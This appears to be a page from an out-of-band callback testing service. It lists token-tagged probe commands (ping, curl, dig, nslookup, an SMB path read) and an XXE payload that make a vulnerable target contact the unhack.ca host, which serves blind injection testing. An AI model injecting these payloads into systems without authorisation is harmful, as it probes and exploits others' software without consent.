$ ping -c1 -p 0009d19adae03b2bf29b6a620df93100 unhack.ca
 

$ curl http://unhack.ca/p/09d19adae03b2bf29b6a620df931
 

$ dig 09d19adae03b2bf29b6a620df931 @unhack.ca
 

$ dig 09d19adae03b2bf29b6a620df931.ns.unhack.ca
 

C:\> nslookup 09d19adae03b2bf29b6a620df931 unhack.ca
 

C:\> type \\unhack.ca\09d19adae03b2bf29b6a620df931\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/09d19adae03b2bf29b6a620df931">]>
    <foo>&xxe;</foo>